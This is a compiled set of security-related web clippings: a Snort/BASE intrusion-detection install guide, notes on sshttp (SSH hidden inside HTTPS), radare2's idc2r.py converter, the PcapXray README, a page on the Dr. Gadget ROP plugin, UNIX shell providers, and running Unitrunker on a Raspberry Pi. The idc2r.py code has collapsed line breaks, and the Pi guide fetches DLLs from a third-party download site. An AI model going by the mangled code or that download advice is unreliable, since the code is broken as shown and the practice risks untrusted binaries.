Written by Hans. Posted at 12:05 am on December 30th, 2008

I did this quite a while ago on my MacBook Pro, instructions can be found
here:

Snort and Base on MacOSX  
\[darwinports\] Update: Base 1.3.5 \(marie\) on MacOSX

As I am, for the most time, working on Ubuntu now, I tried to setup an equal
stack.

For those who don’t know what Snort and Acidbase are, then take a look here:  
Snort.org  
Basic Analysis and Security Engine \(BASE\) project

My instruction is based on following post on ubuntuforums.org:  
HOWTO: Snort Mysql Base

I ran into issues, that’s why I’m posting the modified howto here.

Let’s start\!

Install the database and the suitable snort version:  
`$ sudo aptitude install mysql-server  
$ sudo aptitude install snort-mysql`  
  
Prepare the snort config for later database access:  
`sudo vi /etc/snort/snort.conf`:

[code]

    1
    2
    
    
[/code]

|

[code]

    #output log_tcpdump: tcpdump.log
    output database: log, mysql, user=snort password=astrongpassword dbname=dbsnort host=localhost
    
[/code]  
---|---  
Remember the password you set\! You will need it right away\!

Add the databases to MySQL:  
`$ mysql -u root -p`

[code]

    1
    2
    3
    4
    5
    
    
[/code]

|

[code]

    mysql> create database dbsnort;
    Query OK, 1 row affected (0.03 sec)
     
    mysql> grant all privileges on dbsnort.* to "snort"@"localhost" identified by "astrongpassword";
    Query OK, 0 rows affected (0.00 sec)
    
[/code]  
---|---  
Import the basic tables into MySQL:  
`$ zcat /usr/share/doc/snort-mysql/create_mysql.gz > ~/sql  
$ mysql -u root -p dbsnort < sql  
$ sudo rm /etc/snort/db-pending-config`

And restart the snort stack:  
`$ sudo /etc/init.d/snort restart`

Get BASE:  
`$ sudo apt-get install apache2 php5-mysql libphp-adodb  
$ sudo aptitude install acidbase`

When asked for, provide following answers:  
-> MYSQL  
-> provide mysql root password  
-> leave password blank for acidbase -> will create random password  
-> database user acidbase  
-> database name dbsnort ** _\# IMPORTANT_**  
-> database type mysql 
~~Edit Apache2 configuration and add following Include-statement:  
`$ sudo vi /etc/apache2/apache2.conf`~~

[code]

    1
    
    
[/code]

|

[code]

        Include /etc/acidbase/apache.conf
    
[/code]  
---|---  
\(Not required anymore\!\)

Then, try to access the Acidbase page: Goto
http://localhost/acidbase/base\_main.php

It greeted me with:

> The underlying database dbsnort@ appears to be incomplete/invalid.  
> The database version is valid, but the BASE DB structure \(table:
> acid\_ag\)is not present. Use the Setup page to configure and optimize the
> DB.
So I did:  
Go to http://localhost/acidbase/base\_db\_setup.php and trigger **Create BASE
AG**

Now, go back to http://localhost/acidbase/base\_main.php … should work now.

Installed following as the instruction listed … cannot really tell if I really
needed this. But will provide the information anyway:  
`$ sudo aptitude install php5-gd php-pear  
$ sudo pear install Image_Color  
$ sudo pear install Image_Canvas-alpha  
$ sudo pear install Image_Graph-alpha`

Ok, now, just to be sure, restart the whole stack:  
`$ sudo /etc/init.d/mysql restart  
$ sudo /etc/init.d/snort restart  
$ sudo /etc/init.d/apache2 restart`

# C skills: New sshttp feature trickery

**Created:**| _12/20/2010 10:13:05 PM_  
---|---  
**Updated:**| _12/20/2010 10:13:24 PM_  
**Author:**| __  
**Tags:**| _crypto network-security_  
  

### New sshttp feature trickery

sshttp is now able to hide SSH inside HTTPS as well.  
SSH behind HTTP was possible before, and so was HTTPS,  
but now it is "official" :\)  
You cannot mix HTTP and HTTPS in the same instance,  
but you can run multiple _sshttpd's_.  
I also added multicore support \(basically the same  
as for _lophttpd_ , see earlier postings\) AND support  
for **Linux capabilities**. It runs as _nobody_ in a chroot now  
and only keeps _CAP\_NET\_ADMIN_ and _CAP\_NET\_BIND\_SERVICE_.

# radare2/doc/idc2r.py : radare <-> IDA Pro

**Created:**| _10/25/2013 9:20:16 AM_  
---|---  
**Updated:**| _10/25/2013 9:31:25 AM_  
**Author:**| __  
**Tags:**| _python reversing symbols_  
  

******** executable file 240 lines \(205 sloc\) 6.849 kb

 Open  Edit Raw Blame History

Delete

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 | 
[/code]

[code]

\#\!/usr/bin/env python  
\# radare - LGPL - Copyright 2013 - xvilka  
import reimport sys  
class Func\(object\):\# FIXME: parse ftype into params and values def
\_\_init\_\_\(self, name="unknown", params=\[\], values=\[\], address=0,
size=0, ftype=""\): self.name = name self.params = params self.values = values
self.address = address self.size = size self.ftype = ftype  
class Llabel\(object\): def \_\_init\_\_\(self, name="unknown", address=0\):
self.name = name self.address = address  
class Comm\(object\): def \_\_init\_\_\(self, text="", address=0\): self.text
= text self.address = address  
class Enum\(object\): def \_\_init\_\_\(self, name="unknown", members=\[\]\):
self.name = name self.members = members  
class Struct\(object\): def \_\_init\_\_\(self, name="unknown",
members=\[\]\): self.name = name self.members = members  
class Union\(object\): def \_\_init\_\_\(self, name="unknown", members=\[\]\):
self.name = name self.members = members  
class Type\(object\): def \_\_init\_\_\(self, name="unknown"\): self.name =
name self.members = members  
\# -----------------------------------------------------------------------  
functions = \[\]llabels = \[\]comments = \[\]structs = \[\]enums = \[\]types =
\[\]  
def functions\_parse\(idc\):  
\# MakeFunction \(0XF3C99,0XF3CA8\); mkfun\_re = re.compile\(""" \(?m\) \#
Multiline ^\[ \t\]\*MakeFunction\[ \t\]\*\\\( \(?P<fstart>0\[xX\]\[\dA-
Fa-f\]\{1,8\}\) \# Function start \[ \t\]\*\,\[ \t\]\* \(?P<fend>0\[xX\]\[\dA-
Fa-f\]\{1,8\}\) \# Function end \[ \t\]\*\\\);\[ \t\]\*$ """, re.VERBOSE\)
mkfun\_group\_name = dict\(\[\(v,k\) for k,v in
mkfun\_re.groupindex.items\(\)\]\) mkfun = mkfun\_re.finditer\(idc\) for match
in mkfun : fun = Func\(\) for group\_index,group in
enumerate\(match.groups\(\)\) : if group : if
mkfun\_group\_name\[group\_index+1\] == "fstart" : fun.address = int\(group,
16\) if mkfun\_group\_name\[group\_index+1\] == "fend" : fun.size =
int\(group, 16\) - fun.address  
functions.append\(fun\)  
\# SetFunctionFlags \(0XF3C99, 0x400\); mkfunflags\_re = re.compile\("""
\(?m\) \# Multiline ^\[ \t\]\*SetFunctionFlags\[ \t\*\]\\\(
\(?P<fstart>0\[xX\]\[\dA-Fa-f\]\{1,8\}\) \# Function start \[ \t\]\*\,\[
\t\]\* \(?P<flags>0\[xX\]\[\dA-Fa-f\]\{1,8\}\) \# Flags \[ \t\]\*\\\);\[
\t\]\*$ """, re.VERBOSE\) mkfunflags\_group\_name = dict\(\[\(v,k\) for k,v in
mkfunflags\_re.groupindex.items\(\)\]\) mkfunflags =
mkfunflags\_re.finditer\(idc\) for match in mkfunflags : for
group\_index,group in enumerate\(match.groups\(\)\) : if group : if
mkfunflags\_group\_name\[group\_index+1\] == "fstart" : addr = int\(group,
16\) if mkfunflags\_group\_name\[group\_index+1\] == "flags" : for fun in
functions : if fun.address == addr : pass \# TODO: parse flags  
  
\# MakeFrame \(0XF3C99, 0, 0, 0\); \# MakeName \(0XF3C99,
"SIO\_port\_setup\_S"\); mkname\_re = re.compile\(""" \(?m\) \# Multiline ^\[
\t\]\*MakeName\[ \t\]\*\\\( \(?P<fstart>0\[xX\]\[\dA-Fa-f\]\{1,8\}\) \#
Function start \[ \t\]\*\,\[ \t\]\* "\(?P<fname>.\*\)" \# Function name \[
\t\]\*\\\);\[ \t\]\*$ """, re.VERBOSE\) mkname\_group\_name = dict\(\[\(v,k\)
for k,v in mkname\_re.groupindex.items\(\)\]\) mkname =
mkname\_re.finditer\(idc\) for match in mkname : for group\_index,group in
enumerate\(match.groups\(\)\) : if group : if
mkname\_group\_name\[group\_index+1\] == "fstart" : addr = int\(group, 16\) if
mkname\_group\_name\[group\_index+1\] == "fname" : for fun in functions : if
fun.address == addr : fun.name = group  
\# SetType \(0XFFF72, "\_\_int32 \_\_cdecl PCI\_ByteWrite\_SL\(\_\_int32
address, \_\_int32 value\)"\); mkftype\_re = re.compile\(""" \(?m\) \#
Multiline ^\[ \t\]\*SetType\[ \t\]\*\\\( \(?P<fstart>0\[xX\]\[\dA-
Fa-f\]\{1,8\}\) \# Function start \[ \t\]\*\,\[ \t\]\* "\(?P<ftype>.\*\)" \#
Function type \[ \t\]\*\\\);\[ \t\]\*$ """, re.VERBOSE\) mkftype\_group\_name
= dict\(\[\(v,k\) for k,v in mkftype\_re.groupindex.items\(\)\]\) mkftype =
mkftype\_re.finditer\(idc\) for match in mkftype : for group\_index,group in
enumerate\(match.groups\(\)\) : if group : if
mkftype\_group\_name\[group\_index+1\] == "fstart" : addr = int\(group, 16\)
if mkftype\_group\_name\[group\_index+1\] == "ftype" : for fun in functions :
if fun.address == addr : fun.ftype = group  
\# MakeNameEx \(0xF3CA0, "return", SN\_LOCAL\); mklocal\_re = re.compile\("""
\(?m\) \# Multiline ^\[ \t\]\*MakeNameEx\[ \t\]\*\\\( \(?P<laddr>0\[xX\]\[\dA-
Fa-f\]\{1,8\}\) \# Local label address \[ \t\]\*\,\[ \t\]\* "\(?P<lname>.\*\)"
\# Local label name \[ \t\]\*\,\[ \t\]\*SN\_LOCAL \[ \t\]\*\\\);\[ \t\]\*$
""", re.VERBOSE\) mklocal\_group\_name = dict\(\[\(v,k\) for k,v in
mklocal\_re.groupindex.items\(\)\]\) mklocal = mklocal\_re.finditer\(idc\) for
match in mklocal : lab = Llabel\(\) for group\_index,group in
enumerate\(match.groups\(\)\) : if group : if
mklocal\_group\_name\[group\_index+1\] == "laddr" : lab.address = int\(group,
16\) if mklocal\_group\_name\[group\_index+1\] == "lname" : lab.name = group
llabels.append\(lab\)  
\# ----------------------------------------------------------------------  
def enums\_parse\(idc\): pass  
\# ----------------------------------------------------------------------  
def structs\_parse\(idc\): pass  
\# ----------------------------------------------------------------------  
def comments\_parse\(idc\): \# MakeComm \(0XFED3D, "PCI class 0x600 - Host/PCI
bridge"\); mkcomm\_re = re.compile\(""" \(?m\) \# Multiline ^\[
\t\]\*MakeComm\[ \t\]\*\\\( \(?P<caddr>0\[xX\]\[\dA-Fa-f\]\{1,8\}\) \# Comment
address \[ \t\]\*\,\[ \t\]\* "\(?P<ctext>.\*\)" \# Comment \[ \t\]\*\\\);\[
\t\]\*$ """, re.VERBOSE\) mkcomm\_group\_name = dict\(\[\(v,k\) for k,v in
mkcomm\_re.groupindex.items\(\)\]\) mkcomm = mkcomm\_re.finditer\(idc\) for
match in mkcomm : com = Comm\(\) for group\_index,group in
enumerate\(match.groups\(\)\) : if group : if
mkcomm\_group\_name\[group\_index+1\] == "caddr" : com.address = int\(group,
16\) if mkcomm\_group\_name\[group\_index+1\] == "ctext" : com.text = group
comments.append\(com\)  
\# ----------------------------------------------------------------------  
\# print\("af+ 0x%08lx %d %s" % \(func.address, func.size, func.name\)\)  
def generate\_r2\(\): for f in functions : if f.name \!= "unknown" :
print\("af+ \{0\} \{1\} \{2\}".format\(hex\(f.address\), f.size, f.name\)\)
print\("\"CCa \{0\} \{1\}\"".format\(hex\(f.address\), f.ftype\)\)  
for l in llabels : if l.name \!= "unknown" : for f in functions : if
\(l.address > f.address\) and \(l.address < \(f.address + f.size\)\) :
print\("f .\{0\}=\{1\}".format\(l.name, hex\(l.address\)\)\)  
for c in comments : if c.text \!= "" : print\("\"CCa \{0\}
\{1\}\"".format\(c.address, c.text\)\)  
\# ----------------------------------------------------------------------  
def idc\_parse\(idc\): enums\_parse\(idc\) structs\_parse\(idc\)
functions\_parse\(idc\) comments\_parse\(idc\) generate\_r2\(\)  
if \_\_name\_\_ == "\_\_main\_\_": if len\(sys.argv\) < 2: print\("Usage:
idc2r.py input.idc > output.r2"\) sys.exit\(1\)  
print\(sys.argv\[1\]\) idc\_file = open\(sys.argv\[1\], "r"\) idc =
idc\_file.read\(\) idc\_parse\(idc\)  
---|---

# The Logic In Computer Science: from reversible Logic Gates to Universal
Quantum Basis

**Created:**| _10/17/2013 11:04:10 AM_  
---|---  
**Updated:**| _10/17/2013 11:04:56 AM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification math_  
  
<img src='img/175-627-1-PB.pdf' width='100%' height='20995' />

# Download details: BinScope Binary Analyzer

**Created:**| _10/23/2009 3:08:30 PM_  
---|---  
**Updated:**| _10/23/2009 3:08:40 PM_  
**Author:**| __  
**Tags:**| _bookmark SDL Microsoft_  
  

# BinScope Binary Analyzer

##### Brief Description

BinScope is a Microsoft verification tool that analyzes binaries on a project-
wide level to ensure that they have been built in compliance with Microsoft’s
Security Development Lifecycle \(SDL\) requirements and recommendations.

#### On This Page

Quick Details

Overview

System Requirements

Instructions

What Others Are Downloading

  

# Srinivas11789/PcapXray

**Created:**| _3/7/2018 8:29:20 AM_  
---|---  
**Updated:**| _3/7/2018 8:29:20 AM_  
**Author:**| _wishi_  
**Tags:**| _network-security recon_  
  

  

###  README.md

# PcapXray <img
src='img/68747470733a2f2f7472617669732d63692e6f72672f5372696e6976617331313738392f50636170587261792e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Build Status' />

[code]

    A Network Forensics Tool - To visualize a Packet Capture offline as a Network Diagram including device identification, highlight important communication and file extraction
    
[/code]

<img src='img/Temp2_7695' width='200' height='200' alt='Alt text' />

## PcapXray Design Specification

### Goal:

Given a Pcap File, plot a network diagram displaying hosts in the network,
network traffic, highlight important traffic and Tor traffic as well as
potential malicious traffic including data involved in the communication.

### Problem:

  * Investigation of a Pcap file takes a long time given initial glitch to start the investigation
  * Faced by every forensics investigator and anyone who is analyzing the network
  * Location: https://github.com/Srinivas11789/PcapXray

### Solution: Speed up the investigation process

  * Make a network diagram with the following features from a Pcap file Tool Highlights:
  * Network Diagram – Summary Network Diagram of full network
  * Information: 
    * Web Traffic with Server Details
    * Tor Traffic
    * Possible Malicious traffic
    * Data Obtained from Packet in Report – Device/Traffic/Payloads
    * Device Details

### Tool Image:

<img src='img/Temp2_7696' width='888' height='472' alt='Alt text' />

<img src='img/Temp2_7697' width='888' height='922' alt='Alt text' />

### Components:

  * Network Diagram
  * Device/Traffic Details and Analysis
  * Malicious Traffic Identification
  * Tor Traffic
  * GUI – a gui with options to upload pcap file and display the network diagram

### Python Libraries Used: - All these libraries are required for
functionality

  * Tkinter and TTK – Install from pip or apt-get – Ensure Tkinter and graphviz is installed \(Most Linux contain by default\) 
    * apt install python-tk
    * apt install graphviz
  * All these are included in the requirements.txt file 
    * Scapy – rdpcap to read the packets from the pcap file
    * Ipwhois – to obtain whois information from ip
    * Netaddr – to check ip information type
    * Pillow – image processing library
    * Stem – tor consensus data fetch library
    * pyGraphviz – plot graph
    * Networkx – plot graph
    * Matplotlib – plot graph

### Demo

<img src='img/demo.gif' width='888' height='533' alt='Alt text' />

### Getting started:

  * Clone the repository
  * pip install -r requirements.txt
  * python Source/main.py

### Additional Information:

  * Tested on Linux
  * Options for Traffic include - Web \(HTTP and HTTPS\), Tor, Malicious

### Challenges:

  * Unstability of the TK GUI: 
    * Decision on the GUI between Django and TK, settled upon tk for a simple local interface, but the unstability of the tk gui caused a number of problems
  * Graph Plotting: 
    * Plotting a proper network graph which is readable from the data obtained was quite an effort, used different libraries to arrive at one.
  * Performance and Timing: 
    * The performance and timing of the total application was a big challenge with different data gathering and output generation

### Known Bugs:

  * Memory Hogging
    * Sometimes memory hogging occurs when lower RAM is present in the system as the data stored in the memory from the pcap file is huge
    * Should be Fixed by moving data into a database than the memory itself
  * Race Condition
    * Due to mainloop of the TK gui, other threads could undergo a race condition
    * Should be fixed by moving to a better structured TK implementation or Web GUI
  * Tk GUI Unstability:
    * Same reason as above
  * Code:
    * clumsy and unstructured code flow
  * Current Fix in rare occasions: If any of the above issue occurs the progress bar keeps running and no output is generated, a restart of the app would be required.

### Future:

  * Structured and clean code flow
  * Change the database from JSON to sqlite or prominent database, due to memory hogging
  * Change fronend to web based such as Django
  * Make the application more stable
  * More protocol support

<img
src='img/68747470733a2f2f67612d626561636f6e2e61707073706f742e636f6d2f55412d3131343638313132392d312f50636170587261792f726561646d65'
width='81' height='18' alt='Analytics' />

  

# Reverse Engineering and the ANI Vulnerability

**Created:**| _6/18/2009 10:45:53 PM_  
---|---  
**Updated:**| _6/18/2009 10:45:59 PM_  
**Author:**| __  
**Tags:**| _bookmark reversing_  
  

# Security Research

by Alexander Sotirov

## Navigation

  * Blog
  * Research
  * Presentations
  * Software
  * About

## Resources

### Latest posts

  * Verisign and responsible disclosure
  * Creating a rogue CA certificate
  * Making the theoretical possible
  * Decompiling MS08-067
  * Site redesign

### Archives

  * 2009
  * 2008

### Follow

  * Twitter
  * Blog feed <img src='img/Temp2_6916.png' width='12' height='12' alt='Feed icon' />

### Contact

  * alex@sotirov.net
  * PGP key

### Coming up

  * SOURCE Boston
Boston, Mar 11-13

  * CanSecWest
Vancouver, Mar 16-20

## Reverse Engineering and the ANI Vulnerability

Downloads:

  * Slides
  * Video from the Google Tech Talk

Presented at:

  * Stanford, April 2007, Palo Alto
  * Google, May 2007, Mountain View

# OpenRCE

**Created:**| _11/23/2012 9:29:38 PM_  
---|---  
**Updated:**| _12/7/2012 1:31:17 PM_  
**Author:**| __  
**Tags:**| _bookmark iDA rop_  
  

# OpenRCE

**Dr. Gadget IDAPython plugin**| **Author:** dennis| **\# Views:** 8336  
---|---  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
http://blog.zynamics.com/2010/06/09/analyzing-the-currently-exploited-0-day-
for-adobe-reader-and-adobe-flash/

<img src='img/Temp2_5911.png' />

<img src='img/Temp2_5905.png' />

<img src='img/Temp2_5903.png' />

<img src='img/Temp2_5907.png' />

<img src='img/Temp2_5901.png' />

<img src='img/Temp2_5909.png' />

<img src='img/Temp2_5904.png' />

  
  
http://www.openrce.org/repositories/users/dennis/drgadget.py  
http://www.openrce.org/repositories/users/dennis/rop.bin  
  
**edit:**  
  
http://hexblog.com/2009/09/assembling\_and\_finding\_instruc.html

<img src='img/Temp2_5910.png' />  
<img src='img/Temp2_5902.png' /> dennis| Posted: Thursday, August 26 2010
02:49.19 CDT  
---|---  
new version 0.3 uploaded, introducing following changes:  
  
\- bugfixes  
\- added ARM support  
\- primitive stack/pc tracing for ARM  
\- Disassembly view export to file  
\- string reference scanning in disasm view  
\- add support for comments both in rop view and disasm view in sync  
\- sync offset number display between ropview and disasm  
  
screenshot below shows stage 2 of the ROP code of the
http://www.jailbreakme.com/ exploit.<img src='img/Temp2_5908.png' />code is
available here  
  
all changes courtesy of Karthik \(neox.fx at gmail dot com\)  
<img src='img/Temp2_5902.png' /> dennis| Posted: Wednesday, September 12 2012
06:11.12 CDT  
---|---  
Dr. Gadget has just been updated due to a bugfix \(thanks Ivanlef0u\). The
project is now available on github \(https://github.com/patois/DrGadget \) and
licensed under the Beerware license ;-\)  
**Comment:**  
  
<img src='img/Temp2_5906.png' />|     
---|---

# UNIX and OpenVMS Online Resources « UNIX Administratosphere

**Created:**| _9/3/2009 9:34:37 AM_  
---|---  
**Updated:**| _9/3/2009 9:34:53 AM_  
**Author:**| __  
**Tags:**| _bookmark Unix OpenVMS_  
  

## UNIX and OpenVMS Online Resources

2 September 2009ddouthittLeave a commentGo to comments

It is possible to get free online access to UNIX or to OpenVMS; these can be
useful in building up your experience on a platform when starting from scratch
– or when a review is required.

One of the oldest public access systems in the country is the Super Dimension
Fortress \(or SDF as it is usually called\). SDF offers free accounts, but
does ask for US$1 to gain standard access. This isn’t because access is
expensive, but because too many people have used the facilities for nefarious
purposes \(the process suggests that the new user is not a person who will
strike and leave\).

SDF runs NetBSD on DEC Alphas; this was driven mainly by security and
stability. Previously, Stephen Jones, the proprietor, ran SDF using Linux on
Intel for several years \(which he describes as “the dark years”\). BSDTalk
had an interview with him back in 2006.

You could also try PolarHome – this shell provider provides access to hosts
running Linux \(Red Hat, Debian, SUSE, Ubuntu, or Mandriva\), OpenVMS \(Alpha
or VAX\), OpenBSD, FreeBSD, NetBSD, HPUX, IRIX, QNX, Solaris, Ultrix, AIX,
Tru64, and OpenStep. Unfortunately it requires payment for shell accounts –
again because of abuse. The payment is 10 units of your local currency or
US$2, whichever is more – and this is per host as well. No other site provides
this diverse of a selection.

For truly free UNIX shell accounts, one can try Grex, which is a more
professionally-run system \(Polarhome and SDF are sole proprietorships\). Grex
offers totally free shell accounts, but also has memberships \(for people to
help support the site\). It is possible that Grex has the most users as well.
Like the others, paid membership does have its privileges – but unlike the
others, membership is mainly to provide support for Grex, rather as a security
feature.

For OpenVMS, there is a very unique online shell provider: Deathrow Cluster.
This is a cluster of three machines running OpenVMS 7.3 – one VAX, one Alpha,
and one emulated VAX \(SIMH\) on a dual Xeon machine. This last is a perfect
example of what can be done with an emulator, especially with SIMH which can
emulate all manner of old Digital and IBM hardware. However, SIMH does not
emulate the Digital Alpha, unfortunately. Like Grex, Deathrow provides
completely free shell accounts; like SDF and Polarhome, it is \(or appears to
be\) mainly one person’s purpose to keep it running with a lot of volunteer
help.

Any of these will be good sources to keep your shell skills sharp – and in
some cases, programming as well. They’re also good people to support; why not
offer them some donations if you can?

* * *
**Possibly related posts: \(automatically generated\)**

  * The root account \(and toor\)
  * Free shell accounts are now available at CJB.NET\!
  * Ooo, kamu ketahuan….
  * Jail shell access

# Running Windows & x86 SDR Decoding Apps on the Raspberry Pi 3: Unitrunker,
WinSTD-C, WXtoIMG, DSDPlus and more

**Created:**| _7/17/2017 11:30:10 AM_  
---|---  
**Updated:**| _7/17/2017 11:30:10 AM_  
**Author:**| __  
**Tags:**| _rf sdr_  
  

  

July 7, 2017

# Running Windows & x86 SDR Decoding Apps on the Raspberry Pi 3: Unitrunker,
WinSTD-C, WXtoIMG, DSDPlus and more

There is a great advantage to running SDR decoder apps on a single board PC
like a Raspberry Pi 3. For example instead of committing a whole PC to become
a dedicated decoder, a cheap Pi 3 can be used instead. However, unfortunately
many decoder apps are written for the x86 CPU architecture and/or Windows,
making them impossible to run on ARM and/or primarily Linux devices like the
Raspberry Pi 3.

That is unless you use an emulator combination like Eltechs Exagear and Wine.
Exagear is an emulator that emulates an x86 environment on a device like a
Raspberry Pi 3 which uses an ARM CPU. Wine is a Windows compatibility layer
that allows you to run x86 Windows apps on an x86 Linux installation. So by
combining Exagear together with Wine it is possible to run Windows apps on ARM
Linux devices.

Exagear is not free \(although there is a free trial\). It currently costs
$22.95 USD for a Pi 3 licence, and $16.95 USD for a Pi 2 licence and $11.45
for a Pi 1/Zero licence. They also have versions for Odroid, Cubieboard,
BananaPi, Jetson and many other ARMv7 and ARMv8 devices like the super cheap
and powerful Orange Pi’s. There are free alternatives out there like QEMU,
however when we tested QEMU it was far too slow on the Pi 3 to even run
notepad responsively, let alone a decoder. Exagear on the other hand seems to
run apps at near native speeds, without much lag at all. So in this respect
the price seems to be worth it.

We decided to test the Exagear + Wine combination on a Pi 3 and were
successful in running a number of apps including Unitrunker, WinSTD-C,
WXtoImg, DSDPlus, PC-HFDL, MultiPSK, Orbitron and Sondemonitor.

## Trunking setup with Unitrunker on a Raspberry Pi 3

With Unitrunker we were able to set up a full trunk tracking system using two
RTL-SDR dongles, rtl\_fm, rtl\_udp and a custom script to control rtl\_udp.

<img src='img/Temp2_7077.jpg' width='1024' height='560' alt='Unitrunker
running on a Raspberry Pi 3' />

Unitrunker running on a Raspberry Pi 3

In the future we may put up a full double checked tutorial with images, but
for now a roughly written tutorial is presented below. The tutorial is fairly
involved and assumes decent Linux experience. The tutorial starts from a fresh
install of Raspbian.

The basic idea of operation is based around the fact that the RTL-SDR cannot
be used directly within Wine \(or so it seems\). So the control signal audio
is routed from rtl\_fm running on one dongle into Unitrunker on Wine using
alsa loopback. Then we use the old Unitrunker remote.dll method to generate a
sdrsharptrunking.log file which is a text file that contains the current
frequency that the voice receiver should tune to. A simple shell script
continuously reads this file and extracts the frequency, and then commands an
instance of rtl\_udp running with the second dongle to tune to that frequency.

****

  1. Install the RTL-SDR drivers using “sudo apt-get rtl-sdr” or install from source.  

  2. Do a git clone on the rtl\_udp repo, and then compile the code. You may also need to use apt-get install to install cmake and libusb-dev and libusb-1.0-dev first. Note that we recommend not using make install as the final step, as the standard osmocom rtl\_fm seems to run with less audio underruns.  

  3. Purchase and install Exagear onto your system following their instructions. Note that we recommend not enabling FullGL as they suggest, as it seems to break too many things.  

  4. Open an Exagear shell by typing in “exagear” within a regular shell.   

  5. Install wine with “sudo apt-get install wine”. Make sure to install wine within the Exagear shell, as Exagear repos provide a special version for the Pi.  

  6. Now use a web browser to download the latest Unitrunker preview build. At the time of testing we used Unitrunker 33.6.  

  7. Now in your Exagear shell browse to the .msi file, and use “wine msiexec /i UniTrunker-1.0.33.6.msi” to install it. You should be able to install it normally now.  

  8. Next if you were to run Unitrunker right now it would probably complain about missing WinUSB.dll. In a web browser go to https://www.dll-files.com/winusb.dll.html, and download a 32-bit version of winusb.dll. Note be careful on this website as there are a bunch of misleading ads. Just scroll down and click on the text download, not any of the images.  

  9. Place this DLL into the ~/.wine/drive\_c/windows/system32 folder.  

  10. Now in your Exagear shell browse to “~/.wine/drive\_c/Program\ Files/Unitrunker”, and try to run Uniform.exe with “wine Uniform.exe”. It may run, or you may get some errors stating that there are some further missing dlls. If there are missing dlls, search for them on the dll-files.com website, download the 32-bit versions and copy them into the system32 folder. Once you’ve copied all those dlls you should be able to open Unitrunker.  

  11. But if you open Unitrunker now you’ll probably see that the buttons are all messed up. This is because Unitrunker uses the Windows Wingdings and Webdings fonts for its icons. To fix this use a real Windows PC to copy all the Wingdings and Webdings fonts over to your Pi \(you might find downloads of these fonts online too\). Place them in the ~/.wine/drive\_c/windows/Fonts folder. Now you’ll probably need to restart your Exagear shell, or maybe the whole Pi to get these fonts registered.  

  12. Now Unitrunker should run and the icons should look normal.  

  13. Next plug in your two RTL-SDRs, and run in a regular non-exagear shell “sudo modprobe aloop”, this will set up a loopback audio device, like Stereo Mix in Windows.  

  14. Next install sox with “sudo apt-get install sox”  

  15. In another non-exagear shell run:
[code]    rtl_fm -M fm -f **FREQ** -s 12.5k -g 20 -F 0 | sox -r 12.5k -t raw -e s -b 16 - -traw -r 48k -e s -b 16 -c 1 - | aplay -r 48k -f S16_LE -t raw -c 1 -D hw:Loopback,0,0", 
[/code]

replacing FREQ with your control channel. Remember to change the gain to
what’s best for your RF environment, and set a PPM adjustment if necessary.
This command line code takes the output of rtl\_fm, converts it into a 48k
sample rate, and then sends it to the loopback device silently. Using the
standard rtl\_fm -r resampler does not appear work.  

  16. Open up Unitrunker and create a new Signal receiver, with the audio input as the Loopback device. If you’re tuned to a valid control channel the site box should pop up.  

  17. Create a new Debug receiver, and set its mode to Voice.  

  18. This should create some folders in your “~/.wine/drive\_c/users/pi/Application Data/Unitrunker” folder that start with R and have a few numbers after. e.g. “R000001”  

  19. Place the remote.dll from the Unilogger 1.5 zip file on this site \(scroll down to the bottom\) into those directories starting with R. Doing this will tell Unitrunker to generate the required sdrsharptrunking.log file.  

  20. After doing this you may need to restart Unitrunker to get it to see the dlls. After restarting confirm that the sdrsharptrunking.log file is created in the “~/.wine/drive\_c/users/pi/Application\ Data/Unitrunker/” folder.  

  21. Next in your rtl\_udp folder, create a shell script with the following \(thanks to Jack McHugh’s video for the general idea\). Edit the number after grep -i to be the first number in the voice frequencies that you are monitoring. Save it as unitr\_rtludp\_tune.sh:
[code]    #!/bin/bash

    
    lastFreq=0
    
    while true
    do
    
       freq=$(cat ~/.wine/drive_c/users/pi/Application\ Data/Unitrunker/sdrsharptrunking.log | grep -i 8 | sed 's/[^0-9]*//g' | cut -c1-9)
    
       freq=$((freq+0))
    
       if [ "$lastFreq" -ne "$freq" ]; then
          ./udpclient.py freq $freq
       fi
       lastFreq=$freq
    
    done 
[/code]

  22. In another non-exagear shell browse to your “rtl\_udp/build/src” directory and run: 
[code]    ./rtl_udp -N -f 416.5875M -g 20 -d 1 -s 15k -l 50 | sox -r 15k -t raw -e s -b 16 -c 1 - -t raw -r 48k -e s -b 16 -c 1 - lowpass 750 vol 5 | aplay -r 48k -f S16_LE -t raw -c 1. 
[/code]

Setting the frequency correctly here is not critical because this will be
changed by Unitrunker to the voice frequency. This outputs the audio to your
speakers on the Pi 3 \(HDMI or Analogue according to what you’ve set – HDMI is
default if you have a HDMI monitor plugged in\).  

  23. In another non-exagear shell browse to your rtl\_udp folder and run “sh unitr\_rtludp\_tune.sh”.

The shell script should now be using data from the sdrsharptrunking.log file
to tune rtl\_udp.

There are still some problems with this approach. First it seems that the
rtl\_fm and rtl\_udp instances produce some audio underruns which cause choppy
audio. They are not so prevalent as to stop decoding, but may sound slightly
annoying. Secondly, the CPU usage with everything running seems to hover at
around 75%. After running for a while the Pi 3 generates the thermometer icon
on the top right, which indicates that it is close to overheating. A fan or
heatsink may be beneficial.

It should also be possible to get this setup to interface with DSD+ for
digital P25/DMR etc signals as well \(DSD+ works in exagear+wine\). But as of
yet we haven’t figured out the audio routing for a third program. If anyone
gets it working please let us know in the comments. We’ve tried Pulseaudio,
but using Pulseaudio seems to crash Unitrunker and prevent it from running.

Another possibility could be using this to stream the voice online to
RadioReference, Broadcastify etc.

